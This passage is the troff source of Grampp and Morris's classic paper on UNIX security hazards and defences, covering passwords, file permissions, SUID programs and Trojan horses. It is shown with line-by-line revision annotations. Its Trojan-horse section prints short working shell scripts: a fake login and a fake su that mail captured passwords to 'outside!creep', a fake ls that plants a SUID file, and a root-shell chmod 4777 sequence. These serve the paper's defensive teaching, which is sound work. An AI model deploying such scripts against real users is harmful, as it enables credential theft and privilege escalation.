Annotation of researchv10dc/vol2/security/security.ms, revision 1.1

1.1     ! root        1: .so ../ADM/mac
        !             2: .XX security 543 "UNIX System Security"
        !             3: .de DL
        !             4: .IP \(em 3n
        !             5: ..
        !             6: .TL
        !             7: .UX
        !             8: System Security\(dg
        !             9: .AU
        !            10: F. T. Grampp
        !            11: .AI
        !            12: .MH
        !            13: .AU
        !            14: R. H. Morris
        !            15: .AI
        !            16: .WH
        !            17: .AB
        !            18: Computing systems that are easy to access and that facilitate
        !            19: communication with other systems are by their nature difficult
        !            20: to secure.
        !            21: Most often, though, the level of security that is actually
        !            22: achieved is far below what it could be. 
        !            23: This is due to many factors, the most important of which are
        !            24: the knowledge and attitudes of the administrators and users
        !            25: of such systems.
        !            26: .PP
        !            27: We discuss here some of the security hazards of the
        !            28: .UX
        !            29: system, and
        !            30: suggest ways to protect against them, in the hope that an
        !            31: educated community of users will lead to a level of protection
        !            32: that is stronger, but far more important, which represents a
        !            33: reasonable and thoughtful balance between security
        !            34: and ease of use of the system.
        !            35: We will not construct parallel examples for other systems,
        !            36: but we encourage readers to do so for themselves.
        !            37: .AE
        !            38: .2C
        !            39: .FS
        !            40: \(dg This is a reformatted version of |reference(grampp morris bstj).
        !            41: Morris is currently Chief Scientist at the NSA.
        !            42: .FE
        !            43: .NH
        !            44: Introduction
        !            45: .PP
        !            46: This paper is aimed primarily at a
        !            47: technical audience and for that very reason,
        !            48: its usefulness
        !            49: as a tutorial for increased computer
        !            50: system security is diminished.
        !            51: By far the most important handles to computer
        !            52: security and, indeed, to information security
        !            53: generally, are the following:
        !            54: .DL
        !            55: physical control of one's premises
        !            56: and computer facilities
        !            57: .DL
        !            58: management commitment to security
        !            59: objectives
        !            60: .DL
        !            61: education of employees as to what
        !            62: is expected of them
        !            63: .DL
        !            64: the existence of administrative
        !            65: procedures aimed at increased security
        !            66: .PP
        !            67: Unless each of these basics is in place,
        !            68: all of the technical solutions, the special hardware,
        !            69: the software
        !            70: safeguards, and the like are utterly meaningless.
        !            71: We will not address these issues to any great
        !            72: extent in this paper, but we mean to stress our
        !            73: firm conviction that no level of security whatever
        !            74: can be achieved without them.
        !            75: .PP
        !            76: In discussing the status of security on the
        !            77: various versions of the
        !            78: .UX
        !            79: system, we will
        !            80: try to place our observations in a wider context
        !            81: than just the
        !            82: .UX
        !            83: system or one particular version of the
        !            84: .UX
        !            85: system.
        !            86: As to whether
        !            87: .UX
        !            88: system security is better or worse
        !            89: than that of other systems, it is neither better
        !            90: nor worse.
        !            91: Any system that provides the same facilities as
        !            92: the
        !            93: .UX
        !            94: system
        !            95: will necessarily have similar hazards.
        !            96: From its inception, the
        !            97: .UX
        !            98: system was designed to be
        !            99: user-friendly and most decisions which pitted security
        !           100: against ease of use were heavily weighted in favor
        !           101: of ease of use.
        !           102: The result has been that the
        !           103: .UX
        !           104: system has become a fertile
        !           105: test bed for the development of reasonable security
        !           106: procedures that interfere to the minimum possible
        !           107: extent with ease of use.
        !           108: .PP
        !           109: The major weakness of any information system such
        !           110: as the
        !           111: .UX
        !           112: system resides in the habits and attitudes of the
        !           113: user community.
        !           114: Naivete and carelessness will produce awful security
        !           115: under almost any conditions.
        !           116: .PP
        !           117: It is easy to run a secure computer system.
        !           118: You merely have to disconnect all dial-up
        !           119: connections and permit only direct-wired
        !           120: terminals, put the machine and its terminals
        !           121: in a shielded room, and post a guard at the door.
        !           122: There are in fact many examples of
        !           123: .UX
        !           124: systems that
        !           125: are run under exactly these conditions, principally
        !           126: systems that contain classified or sensitive defense
        !           127: information.
        !           128: .PP
        !           129: There are a number of options, implemented either in
        !           130: hardware or in software, that provide a measure of
        !           131: security that is almost this good.
        !           132: Examples are systems that only respond to a dial-up
        !           133: call by calling back on a preassigned number.
        !           134: Many commercially available operating systems make it
        !           135: essentially impossible to create or install any
        !           136: user software or application software without administrative
        !           137: help; some other systems make it virtually impossible
        !           138: to read files belonging to another user, even when
        !           139: the users want to cooperate in their work.
        !           140: All these measures 
        !           141: work by restricting access to the system and by reducing
        !           142: the powers that the system gives its users. The
        !           143: .UX
        !           144: system
        !           145: was designed to increase, not decrease the power and flexibility
        !           146: available to its users. It was designed to be easily
        !           147: accessible and to facilitate communication within
        !           148: its user community. Most
        !           149: .UX
        !           150: systems, not surprisingly,
        !           151: are of the dialup variety.
        !           152: They provide their users with a general
        !           153: programming ability - to create, install,
        !           154: and use their own programs.
        !           155: All but a few of their files
        !           156: are at least readable by anybody, and most of them have
        !           157: access to thousands of other systems via remote mail and
        !           158: file transfer facilities. That is, they use the
        !           159: .UX
        !           160: system as
        !           161: its creators intended it to be used.
        !           162: .PP
        !           163: Such `open' systems cannot ever be made secure in any strong sense.
        !           164: That is, they are unfit for applications involving classified
        !           165: government information, corporate accounting,
        !           166: records relating to individual privacy, and the like.
        !           167: Security, though, is not an absolute matter;
        !           168: there are tolerable levels of insecurity
        !           169: and there are balances to be struck, not only between security
        !           170: and accessibility but also between the cost of security
        !           171: measures and the risk or exposure associated with
        !           172: the information being protected.
        !           173: By
        !           174: homely analogy, most family silverware is stored in a
        !           175: cabinet in a house with a lockable door. It is not
        !           176: stored in a box on the front lawn for obvious reasons,
        !           177: but neither is it stored in a bank vault, where it 
        !           178: would be much safer than at home, but where it could
        !           179: not easily be used and enjoyed. The insecurity of 
        !           180: keeping it at home is both tolerable and appropriate.
        !           181: (Neither of the authors, by the way, keep any silver in their homes.)
        !           182: More homely yet as an example, the notion that firewood,
        !           183: though a commodity of considerable value, might be
        !           184: stored in a bank vault, is simply ludicrous.
        !           185: The same balances are appropriate when it is information
        !           186: that is being protected.
        !           187: .PP
        !           188: Most
        !           189: .UX
        !           190: systems are far less secure than they can
        !           191: and should be. This unwarranted insecurity is largely
        !           192: caused by complacency and by the use of concealment
        !           193: as a security measure.
        !           194: The administrators don't want word of gaping holes going
        !           195: out the door. The bad guys agree, but for different
        !           196: reasons. This attitude produces an unhealthy situation in which
        !           197: administrators and users alike are uninformed about
        !           198: security issues.
        !           199: Much silverware is left on the lawn, and only the
        !           200: bad guys are well informed about the exposure and
        !           201: the risks.
        !           202: .PP
        !           203: Concealment is not security. The intent of this article is
        !           204: to survey at least the better-known security hazards
        !           205: associated with the
        !           206: .UX
        !           207: system, and to suggest ways in which
        !           208: security can be improved without greatly
        !           209: diminishing the
        !           210: usefulness of the system to its authorized users.
        !           211: .PP 
        !           212: Topics to be covered are these:
        !           213: .DL
        !           214: the insecure nature of passwords
        !           215: .DL
        !           216: protection of files
        !           217: .DL
        !           218: special privileges and responsibilities of administrators
        !           219: .DL
        !           220: burglary tools, and protection against them
        !           221: .DL
        !           222: networking hazards
        !           223: .DL
        !           224: data encryption
        !           225: .PP
        !           226: All these will be discussed in the context of
        !           227: a community of users who are largely naive about security
        !           228: issues.
        !           229: .PP
        !           230: There is nothing in the above list that is specific to the
        !           231: .UX
        !           232: system. All of the problems that will be discussed here
        !           233: are system-dependent instances of far more general problems
        !           234: that appear in other forms on other systems. It is inappropriate
        !           235: to construct parallel exhibits from other systems here,
        !           236: but readers might find it rewarding to do this themselves.
        !           237: .PP
        !           238: Finally, there was more than a little trepidation about
        !           239: publishing this article. There is a fine line between
        !           240: helping administrators protect their systems and providing
        !           241: a cookbook for creeps.
        !           242: The consensus of the authors and
        !           243: reviewers is that the information presented here is well-known:
        !           244: the bad guys know it well, and a more favorable distribution
        !           245: of this knowledge is desirable.
        !           246: .NH
        !           247: Password Security
        !           248: .PP
        !           249: The most important and usually the only barrier to the
        !           250: unauthorized use of a
        !           251: .UX
        !           252: system is the password that
        !           253: a user must utter in order to gain access to the system.
        !           254: Much attention has been paid to making the
        !           255: .UX
        !           256: password
        !           257: scheme as secure as possible against would-be
        !           258: intruders |reference(morris thompson cacm).
        !           259: The result is a password file in which only encrypted
        !           260: passwords are kept. A person logging into the system is 
        !           261: asked for a password. The password is then encrypted
        !           262: with a one-way transformation,
        !           263: and compared to the encrypted password
        !           264: previously stored in the file.
        !           265: Access
        !           266: is permitted only if the two match.
        !           267: An advantage of this system of password control
        !           268: is that there is no record anywhere of the user's
        !           269: password.
        !           270: .PP
        !           271: No method appears to be known to extract a user's
        !           272: password from the encrypted version that is stored.
        !           273: The one-way
        !           274: encryption has proven to be good enough to thwart a brute-force attack.
        !           275: In practice, it is easy to
        !           276: write programs that are extremely successful at extracting
        !           277: passwords from password files, and that are also very
        !           278: economical to run. 
        !           279: They operate, however, by an indirect method that
        !           280: amounts to guessing
        !           281: what a user's password might be, and then
        !           282: trying over and over until the
        !           283: correct one is found.
        !           284: .PP
        !           285: Such programs are commonly called `password crackers'.
        !           286: They were virtually unknown five years ago, but are
        !           287: widely known today. They work by encrypting a good guess
        !           288: as to what a person's password might be, and comparing
        !           289: this with the encrypted password in the file. Good
        !           290: guesses can be made without any personal knowledge of 
        !           291: the people listed in the password file, since the
        !           292: file itself provides clues. Each line therein contains,
        !           293: in addition to the encrypted password, the user's login 
        !           294: name, home directory, login shell, and perhaps some
        !           295: comments.
        !           296: .PP
        !           297: The most important clue is the login name. People who
        !           298: are naive about security issues very often use login
        !           299: names or variants thereof as passwords. For example,
        !           300: if the login name is `abc', then `abc', `cba' and
        !           301: `abcabc' are excellent candidates for passwords. Experiments
        !           302: involving over a hundred password files have shown that
        !           303: a program that uses only these three guesses requires
        !           304: several minutes of minicomputer time to process a typical
        !           305: password file, and can be counted on to deliver between
        !           306: 8 and 30 percent of the passwords in cases where neither 
        !           307: users nor system administrators have been security
        !           308: conscious.
        !           309: .PP
        !           310: Other clues can also be had from the password file.
        !           311: There is a `comments' field that is used in most systems
        !           312: to provide information about a user. It usually contains
        !           313: things like surname, given name, address, telephone
        !           314: number, project name, and so on, all of which can be
        !           315: extremely rewarding to try.
        !           316: .PP
        !           317: Finally, if an intruder knows something about the people
        !           318: using a machine, a whole new set of candidates is available.
        !           319: Family and friends' names, auto registration numbers,
        !           320: hobbies and pets are particularly productive categories
        !           321: to try interactively in the unlikely event that a purely
        !           322: mechanical scan of the password file turns out to be
        !           323: disappointing.
        !           324: .PP
        !           325: Once the hazards are known, remedial steps can be taken
        !           326: to bolster password security. The following are known to
        !           327: be helpful:
        !           328: .DL
        !           329: Make it difficult for outsiders to obtain a copy of
        !           330: a machine's password file. An intruder who is denied 
        !           331: a copy of the file must resort to dialing into the
        !           332: target machine and making guesses interactively via
        !           333: the normal login sequence. This takes much more time
        !           334: than simply running a cracker program on one's own
        !           335: machine.
        !           336: Actual login attempts are likely to be expensive,
        !           337: and
        !           338: greatly increase the chance that the intrusion attempt
        !           339: will be discovered
        !           340: by audit software.
        !           341: There is, of course, little that
        !           342: can be done to prevent a malicious insider from shipping
        !           343: the file out the door;
        !           344: but at least steps should be taken that an
        !           345: outsider cannot use networking arrangements
        !           346: to remotely cause the password file to be
        !           347: shipped out.
        !           348: .DL
        !           349: Remove the encrypted passwords from the password file
        !           350: and place them in a parallel file that is unreadable
        !           351: to the general public and to networking programs like
        !           352: .I uucp .
        !           353: A considerate touch here is to replace the
        !           354: encrypted fields in the password file with random strings of
        !           355: the proper length and in the alphabet of encrypted
        !           356: passwords. This has the potential for not interfering with
        !           357: legitimate programs that might use the file,
        !           358: and wasting large amounts of an intruder's time.
        !           359: .DL
        !           360: Likewise, keep the comment field elsewhere. Besides
        !           361: removing useful clues, this has the benign side-effect
        !           362: of shortening the password file considerably, thereby
        !           363: speeding up programs like
        !           364: .I ls
        !           365: that search it sequentially.
        !           366: .DL
        !           367: Modify the
        !           368: .I passwd
        !           369: program to prevent users from installing
        !           370: easily derivable passwords such as `abcabc'.
        !           371: .DL
        !           372: Educate users about bad passwords and good passwords.
        !           373: One recipe for good passwords is to pick some common
        !           374: word that is easily remembered but in no way associated
        !           375: with its owner and then to botch it in some way so
        !           376: that it will not be found in a dictionary, e.g., by
        !           377: misspelling it, adding punctuation, and so on. An
        !           378: alternative approach is to assign passwords to users,
        !           379: rather than letting them choose their own. Both methods
        !           380: have weaknesses. Left to their own ways, some people
        !           381: will still use cute doggie names as passwords.
        !           382: What is far more serious is that if randomly generated
        !           383: passwords are assigned, most people will write them
        !           384: down somewhere, often in very obvious places. The
        !           385: former approach seems to be the safer.
        !           386: .PP
        !           387: It takes continuing ingenuity to keep up with
        !           388: prevailing silly practices in choosing passwords.
        !           389: Several years ago, new software was distributed
        !           390: that required all new passwords to contain at least
        !           391: six characters and to contain at least one
        !           392: non-alphabetic character.
        !           393: (In fact, it rejected both purely alphabetic and
        !           394: purely numeric passwords.)
        !           395: The authors made a survey of several dozen local
        !           396: machines, using as trial passwords a collection of
        !           397: the twenty most common female first names, each followed
        !           398: by a single digit.
        !           399: The total number of passwords tried was, therefore,
        !           400: two hundred.
        !           401: At least one of these two hundred passwords turned out to
        !           402: be a valid password on every machine surveyed.
        !           403: .NH
        !           404: Files And File Systems
        !           405: .PP
        !           406: Every file in a
        !           407: .UX
        !           408: file system has associated with it a set
        !           409: of permissions that specifies who can access the file and how.
        !           410: The permissions are kept in a 9-bit field that is part of a
        !           411: variable called
        !           412: .I mode , 
        !           413: which is part of a larger structure
        !           414: called an
        !           415: .I inode
        !           416: that describes the file. There is a one-to-one correspondence
        !           417: between files and inodes. (To simplify
        !           418: matters, no distinction will be made between ordinary files,
        !           419: directories and special files unless needed.)
        !           420: .PP
        !           421: The permission bits specify read, write and execute permissions
        !           422: for the owner of the file, others in the owner's group, and
        !           423: everybody else. In
        !           424: .UX
        !           425: software and writings about it, the
        !           426: permissions field is most often presented as either a three-digit
        !           427: octal number or a nine-character string. For example, 
        !           428: the mode of a file that can be read, written or executed by
        !           429: its owner, read and executed by members of the owner's group,
        !           430: and read by everybody else would be 754 or
        !           431: .CW rwxr-xr-- .
        !           432: Both notations will be used here, as appropriate.
        !           433: .PP
        !           434: The algorithm used to determine permissions is this:
        !           435: .P1 0
        !           436: if(user is owner){
        !           437:    if(permissions are set) it's ok
        !           438:    else quit.
        !           439: }
        !           440: .P3
        !           441: if(user is in owner's group){
        !           442:    if(permissions are set) it's ok
        !           443:    else quit.
        !           444: }
        !           445: .P3
        !           446: if(permissions are set) it's ok.
        !           447: .P2
        !           448: .PP
        !           449: Note especially that the algorithm does not look for all
        !           450: possible conditions, in a hierarchical sense, in which a
        !           451: user might have access to a file. This is done so that a
        !           452: person can create a file whose access permissions are not
        !           453: `kept in the family'. For instance, a file whose mode is
        !           454: set to
        !           455: 007
        !           456: .CW ------rwx ) (
        !           457: can be read, written and executed by anyone
        !           458: except its owner and members of its owner's group.
        !           459: .PP
        !           460: All such permission checking is bypassed if the user is
        !           461: the super-user.
        !           462: .PP
        !           463: Two additional things must be mentioned about directories.
        !           464: First, since a directory cannot be executed, the bits that
        !           465: would be used to specify execute permissions are instead
        !           466: used to specify search permissions, that is, the ability
        !           467: to climb into a directory or to use it as a component of
        !           468: a path name. Second, underlying directory
        !           469: permissions can adversely affect the safety of seemingly
        !           470: protected files. Suppose
        !           471: .CW d 
        !           472: is a directory whose mode is
        !           473: 730 that contains a file
        !           474: .CW f 
        !           475: of mode 644, that both
        !           476: .CW d 
        !           477: and
        !           478: .CW f 
        !           479: have the same owner and group, and
        !           480: .CW f 
        !           481: contains the text
        !           482: .CW something . 
        !           483: Disregarding the super-user, no one besides
        !           484: the owner of
        !           485: .CW f 
        !           486: can change its contents, since only the
        !           487: owner has write permission. Notice, though, that anyone
        !           488: in the owner's group has write permission for
        !           489: .CW d , 
        !           490: so that
        !           491: any such person can remove
        !           492: .CW f 
        !           493: from
        !           494: .CW d 
        !           495: and install a different
        !           496: version:
        !           497: .P1
        !           498: rm d/f
        !           499: echo something else >d/f
        !           500: .P2
        !           501: which for most purposes is the equivalent of being able to
        !           502: modify
        !           503: .CW f . 
        !           504: Further, had
        !           505: .CW f 
        !           506: been a directory rather than a
        !           507: file, the same person could have moved it (and all of its 
        !           508: contents) elsewhere and replaced it with an entirely new
        !           509: structure. Thus to ensure that a file cannot be modified,
        !           510: it is necessary that
        !           511: .IP \ \ \ \(bu
        !           512: The file itself must be write-protected.
        !           513: .IP \ \ \ \(bu
        !           514: The directory containing it, and all lower directories,
        !           515: must be similarly protected.
        !           516: .IP \ \ \ \(bu
        !           517: Group permissions must be considered. This last is especially
        !           518: important if most of the users of a system are in the
        !           519: same group, as is the default case on most
        !           520: .UX
        !           521: systems.
        !           522: .LP
        !           523: The mode of an existing file can be changed with the
        !           524: .I chmod
        !           525: command, or, from a C program,  by using the system call
        !           526: of the same name. The ownership of a file is changed by using
        !           527: the
        !           528: .I chown
        !           529: command or system call. Some versions of
        !           530: .UX
        !           531: restrict
        !           532: .I chown 
        !           533: to the super-user. Others also permit the owner of a file 
        !           534: to give it away to someone else. The latter convention provides
        !           535: an opportunity for fraud on systems whose users are charged 
        !           536: for their disk space, but there is also a subtler problem that
        !           537: will be discussed in the next section.
        !           538: .PP
        !           539: Finally, when a file is created, it is given the owner and
        !           540: group ids of the user who created it, and a mode that corresponds to 
        !           541: an argument of the creat or open system call, modified by
        !           542: a user-supplied parameter called a
        !           543: .I umask . 
        !           544: This parameter
        !           545: is also a nine-bit field, each of whose bits specifies that
        !           546: the corresponding permission bit not be set, i.e., the
        !           547: resulting permission field is the logical and of the file creation
        !           548: mask and the one's complement of the umask.  A user's umask is set
        !           549: to some default value at login time, and can subsequently be
        !           550: modified by the user via the umask command or system call.
        !           551: Simple prudence about accident protection suggests a default
        !           552: umask of 022, which makes files unwritable except by their 
        !           553: owners.
        !           554: .PP
        !           555: The tree of directories and files that makes up a
        !           556: .UX
        !           557: file
        !           558: system is just a logical structure that is mapped onto a physical
        !           559: device \(em a disk \(em in order to make it easy for people to
        !           560: use the disk. If the physical disk can be written or read,
        !           561: so can any file in the file system that resides on the disk.
        !           562: All that is needed is a little knowledge and effort. It follows
        !           563: then that the special files that permit access to the physical
        !           564: disk should be accessible only to the super-user if file
        !           565: protections are to be worth much. In practice, this rule is
        !           566: usually relaxed so that the disks are writable only by the
        !           567: super-user, but that they can also be read by some administrative
        !           568: group.
        !           569: .PP
        !           570: Finally, access to programs' working storage on a machine is
        !           571: available via the special files
        !           572: .CW /dev/mem 
        !           573: (memory) and
        !           574: .CW /dev/kmem 
        !           575: (kernel memory). Write permission for memory allows
        !           576: a process to modify itself in any way, including giving
        !           577: itself super-user privileges. Read permission allows it to
        !           578: inspect things like the standard input and output of other
        !           579: processes. Hence the same precautions that apply to physical
        !           580: disk access apply here also.
        !           581: .PP
        !           582: There is more to be said about files and file systems, and
        !           583: more will be said later on, after a few pitfalls have been 
        !           584: dissected to provide some background.
        !           585: .NH 
        !           586: SUID Programs
        !           587: .PP
        !           588: The
        !           589: .I set-userid
        !           590: facility is a novel and 
        !           591: useful feature in the
        !           592: .UX
        !           593: system|reference(ritchie setuid patent).
        !           594: It allows a program
        !           595: to be constructed in such a way that the userid, groupid
        !           596: or both of the user who executes the program to be changed
        !           597: temporarily for the duration of the program's execution.
        !           598: .PP
        !           599: This makes it trivially easy to write programs that would be
        !           600: difficult or impossible to implement on other operating systems. 
        !           601: Any user can set up a game that keeps a score file that is
        !           602: normally protected from others but is open for writing and
        !           603: reading to anyone who is currently playing the game. Programs
        !           604: like
        !           605: .I ps
        !           606: that show what is going on in the system (by reading
        !           607: operating system memory locations) and
        !           608: .I df
        !           609: that shows disk utilization (by reading
        !           610: the physical disk) and
        !           611: .I passwd
        !           612: that lets a user write in the
        !           613: password file to change a password are similarly easy to write.
        !           614: .PP
        !           615: Two bits in the mode of a file in which a program is kept
        !           616: determine whether the program will be of the SUID variety.
        !           617: These are kept in an octal digit just to the left of the
        !           618: permission bits. Octal 4xxx changes the userid to that of
        !           619: the program's owner. Octal 2xxx changes the group id to that of the 
        !           620: owner's group.
        !           621: As with
        !           622: the permissions, these bits are set by chmod.
        !           623: .PP
        !           624: If any user of the system were free to issue the following
        !           625: sequence of commands:
        !           626: .P1
        !           627: cp /bin/sh a.out
        !           628: chmod 4777 a.out
        !           629: chown root a.out
        !           630: .P2
        !           631: .LP
        !           632: the result would be a shell that would give
        !           633: super-user privileges to anyone who executed it. The danger is obvious,
        !           634: and is disabled by the design of the chown and chmod commands
        !           635: and system calls. The disablement takes one of two forms depending
        !           636: on the version of
        !           637: .UX .
        !           638: .IP
        !           639: If the version of
        !           640: .UX
        !           641: restricts chown to the superuser,
        !           642: there is no problem.
        !           643: .IP
        !           644: If the version permits a user to give away files, chown
        !           645: first knocks down the SUID bits before changing ownership.
        !           646: .LP
        !           647: The clear danger is taken care of, but the feature is by no means
        !           648: tame. Over the years it has provided truly horrid security flaws
        !           649: in various versions of the system.
        !           650: Some early versions of the
        !           651: .I mail
        !           652: command, which ran as
        !           653: super-user so as to be able to write in protected mailboxes, could
        !           654: be coaxed to do things like appending lines to the password file.
        !           655: Some versions of
        !           656: .I login , 
        !           657: when invoked after all available file
        !           658: descriptors were in use, would log a user in as the super-user.
        !           659: Sending a `quit' signal to a running SUID program would produce a writable SUID file
        !           660: called
        !           661: .CW core , 
        !           662: suitable for debugging and other things. The list
        !           663: is long, but the point is made: the SUID facility is a very powerful
        !           664: tool, and like all powerful tools it must be handled with care.
        !           665: Here are some hints about care.
        !           666: .DL
        !           667: SUID programs should be used only when there is no other
        !           668: way to get a desired result. On most
        !           669: .UX
        !           670: systems, perhaps
        !           671: a dozen SUID programs, excluding games, are really needed.
        !           672: A lax attitude about SUID programs, combined with a `quick
        !           673: and dirty' programming style, can produce disasters. As an
        !           674: example, a security audit on a system on which a number of people
        !           675: working on the same project had need to write in each other's files
        !           676: turned up an alarming fact. The people involved knew next to
        !           677: nothing about how to use groups and were too lazy to learn,
        !           678: so they resorted to SUID programs instead. About 200 of these
        !           679: were found. Half of these were owned by the super-user, and
        !           680: most of these were writable by others, including one called
        !           681: a.out whose permission field was 777. Unfortunately, such 
        !           682: sloppiness is not rare.
        !           683: .DL
        !           684: It is difficult, when writing all but the most trivial programs,
        !           685: to determine in advance that the program will be correct. Programs
        !           686: sometimes do the most amazing things in unforeseen circumstances.
        !           687: When designing and writing SUID programs, it is particularly
        !           688: important to pay attention to simplicity of function and cleanliness
        !           689: of implementation, since unexpected behavior can easily produce
        !           690: security holes.
        !           691: .DL
        !           692: Escapes from SUID programs \(em child processes that are given
        !           693: a shell \(em are highly unrecommended. If these can't be avoided,
        !           694: the designer must carefully consider the consequences of inherited
        !           695: files, signals, the shell's environment, and so on. 
        !           696: Some systems provide a `restricted shell' whose capabilities
        !           697: are somewhat less than those of the standard shell. The restrictions
        !           698: are useful in reducing the accident rate among data-entry clerks
        !           699: and in similar applications.
        !           700: Using a restricted shell to contain an intruder is rash. Most of these are about as 
        !           701: restrictive as childproof bottle caps.
        !           702: .DL
        !           703: SUID programs that are writable by anyone besides their owners
        !           704: should be considered threatening.
        !           705: .DL
        !           706: System administrators should verify that the SUID programs that
        !           707: are supplied with the system are clean, i.e., that the source
        !           708: has not been tampered with to provide new features, and that
        !           709: the binaries have been compiled from the clean source.
        !           710: This last precaution is necessary but not sufficient.
        !           711: Thompson|reference(thompson cacm trust) has shown that compilers can be infected
        !           712: so as to modify the code that they compile, without 
        !           713: leaving visible traces of the modification in any
        !           714: source code, even that for the compiler. In practice, 
        !           715: such compiler viruses are likely to be rare, simply
        !           716: because they require much more skill and effort than
        !           717: other tampering techniques.
        !           718: .NH 
        !           719: Trojan Horses
        !           720: .PP
        !           721: A favorite tool of the intruder is the Trojan horse.
        !           722: As the name implies, a Trojan horse is a program that
        !           723: an intruder gives to an unsuspecting user of a system.
        !           724: It does what it is obviously supposed to do, but it also
        !           725: quietly performs some malfeasance on behalf of the intruder.
        !           726: The technique has been around for thousands of years,
        !           727: and it still works splendidly. Here are some modern instances.
        !           728: .PP
        !           729: Ritchie|reference(ritchie security) shows a non-cryptanalytic way of finding out
        !           730: passwords as follows: ``Write a program which types out
        !           731: .CW login: 
        !           732: on the typewriter and copies whatever is typed
        !           733: to a file of your own. Then invoke the command and go away
        !           734: until the victim arrives.'' At first glance, this seems
        !           735: to be a case of some legitimate user of a system coveting
        !           736: a neighbor's password, but in fact there are more interesting
        !           737: applications. Also implied is that the horse must faithfully
        !           738: simulate the non-trivial login command, which is a lot of work.
        !           739: Actually, all that is needed is to simulate an unsuccessful
        !           740: login attempt, as if the user had made a typing mistake, and
        !           741: that is a horse of a different color:
        !           742: .P1
        !           743: echo -n "login: "
        !           744: read X
        !           745: stty -echo
        !           746: echo -n "Password: "
        !           747: read Y
        !           748: echo ""
        !           749: stty echo
        !           750: echo $X $Y | mail outside!creep&
        !           751: sleep 1
        !           752: echo Login incorrect
        !           753: stty 0 >/dev/tty
        !           754: .P2
        !           755: .PP
        !           756: The shell script is simplicity itself, with a few kindnesses
        !           757: added to make its victim feel more at home. It asks for a
        !           758: login name and then a password, mails these to the bad guy,
        !           759: announces failure and hangs up the phone. The user then dials
        !           760: the computer, gets a real login command, carefully types
        !           761: what is asked for, and goes about business as usual, unaware
        !           762: of the swindle. Note that there was no requirement that the
        !           763: horse be planted on the target machine, and in practice this
        !           764: will likely not be the case.
        !           765: .PP
        !           766: Once on the target machine, the intruder can use similar horses
        !           767: to acquire the privileges of other users. One of the most 
        !           768: frequently used commands on
        !           769: .UX
        !           770: systems is
        !           771: .I ls , 
        !           772: which is
        !           773: .UX
        !           774: shorthand for ``tell me some things about these files.''
        !           775: .I Ls
        !           776: can be used in many contexts and with many
        !           777: options, but as was the case with
        !           778: .I login ,
        !           779: a trivialized version
        !           780: can give joy to an intruder:
        !           781: .P1
        !           782: >somewhere/.harmless
        !           783: chmod 6777 somewhere/.harmless
        !           784: sleep 2
        !           785: echo "{ls: not found"
        !           786: rm ls
        !           787: .P2
        !           788: .PP
        !           789: It is placed in an executable file named
        !           790: .I ls
        !           791: in any writable directory that the victim will
        !           792: search for commands before looking in
        !           793: .CW /bin . 
        !           794: When executed,
        !           795: it creates a writable file called
        !           796: .CW .harmless
        !           797: in some far
        !           798: corner of the machine, with the SUID bits turned on
        !           799: in the file's permission mask. It then prints
        !           800: .CW "{ls: not found" ,
        !           801: erases itself, and exits.
        !           802: .PP
        !           803: The
        !           804: .CW {
        !           805: is indicative of a noisy telephone line. People are
        !           806: used to it, and will automatically retype a command that gets
        !           807: such a hit. When the command is retyped, the horse is gone, and
        !           808: the real
        !           809: .I ls
        !           810: is executed. Sometime later, the intruder will
        !           811: copy the shell into
        !           812: .CW .harmless ,
        !           813: execute it, and assume
        !           814: the identity of the victim.
        !           815: .PP
        !           816: The most desirable identity for the intruder to assume is
        !           817: that of the super-user. System administrators acquire
        !           818: super-user privileges by executing a program called
        !           819: .I su .
        !           820: The
        !           821: .I su 
        !           822: command asks for the root password and bestows system-wide privileges
        !           823: to those who type it correctly. A horse named
        !           824: .I su , 
        !           825: placed
        !           826: where it will be executed by a system administrator, can
        !           827: usually be relied on to send a gift within hours:
        !           828: .P1
        !           829: stty -echo
        !           830: echo -n "Password: "
        !           831: read X
        !           832: echo ""
        !           833: stty echo
        !           834: .P3
        !           835: echo $X | mail outside!creep&
        !           836: sleep 1
        !           837: echo Sorry.
        !           838: rm su
        !           839: .P2
        !           840: .PP
        !           841: Horses like this are easy to make and can be custom-tailored
        !           842: to suit a wide variety of applications. Knowing how they
        !           843: work suggests ways to defend against them:
        !           844: .DL
        !           845: In order for horses like
        !           846: .I ls 
        !           847: and
        !           848: .I su 
        !           849: to work, they must be
        !           850: planted in places where they will be executed by their
        !           851: intended victims. The operating system searches for commands
        !           852: in a sequence of directories named in a string called
        !           853: PATH that is associated with each user. PATH is set each
        !           854: time a user logs in, and may be modified in the course of
        !           855: the terminal session. Typically, it specifies the user's
        !           856: current working directory, perhaps a private directory,
        !           857: .CW /bin 
        !           858: and
        !           859: .CW /usr/bin , 
        !           860: usually in that order. If the directories
        !           861: that are searched prior to
        !           862: .CW /bin 
        !           863: are not writable by the 
        !           864: intruder, the horse cannot be planted. Such protection is
        !           865: most important for system administrators. A secondary level
        !           866: of protection can be achieved by having peoples'
        !           867: .CW .profile
        !           868: files unreadable, so that an intruder is not shown the
        !           869: intended victim's initial PATH setting. This turns
        !           870: out to be a minor nuisance, and offers little additional protection,
        !           871: as vulnerable PATH components can be deduced in other ways.
        !           872: .DL
        !           873: Modifying the (real)
        !           874: .I su 
        !           875: program so that it insists upon
        !           876: being invoked by a full path name is very effective. The
        !           877: change is trivial; the program needs only to check that
        !           878: the first character of its 0th argument is
        !           879: .CW / . 
        !           880: Legitimate
        !           881: users very quickly fall into the habit of typing
        !           882: .CW /bin/su
        !           883: rather than
        !           884: .CW su 
        !           885: thereby guaranteeing that the `official'
        !           886: version gets executed, regardless of whether a horse is 
        !           887: nearby. A further recommended change to
        !           888: .I su
        !           889: is that on successful
        !           890: invocation it changes the PATH string so that only
        !           891: .CW /bin
        !           892: and
        !           893: .CW /usr/bin 
        !           894: will be searched for commands. This prevents
        !           895: nonstandard versions of commands like
        !           896: .I ls
        !           897: from being executed
        !           898: with super-user privileges.
        !           899: .DL
        !           900: There is no defense against the
        !           901: .I login 
        !           902: horse except user
        !           903: education. Anyone who walks up to a previously unattended
        !           904: terminal that says
        !           905: .CW login: 
        !           906: and types in the keys to the
        !           907: machine is fair game.
        !           908: .NH 
        !           909: Networking
        !           910: .PP
        !           911: Several times in the previous discussion it was tacitly
        !           912: assumed that files pertaining to the security of a system,
        !           913: in particular the password file, might very well be 
        !           914: available to an intruder who had not yet managed to
        !           915: penetrate the system. It turns out that the same
        !           916: communications programs that facilitate the exchange of
        !           917: ideas and information among people on different machines
        !           918: can, unless great care is taken, be used to subvert a
        !           919: machine from a safe distance.
        !           920: .PP
        !           921: The
        !           922: .I uucp |reference(uucp nowitz lesk v7man)
        !           923: program makes it possible to copy files
        !           924: from one
        !           925: .UX
        !           926: system to another, and is the workhorse of
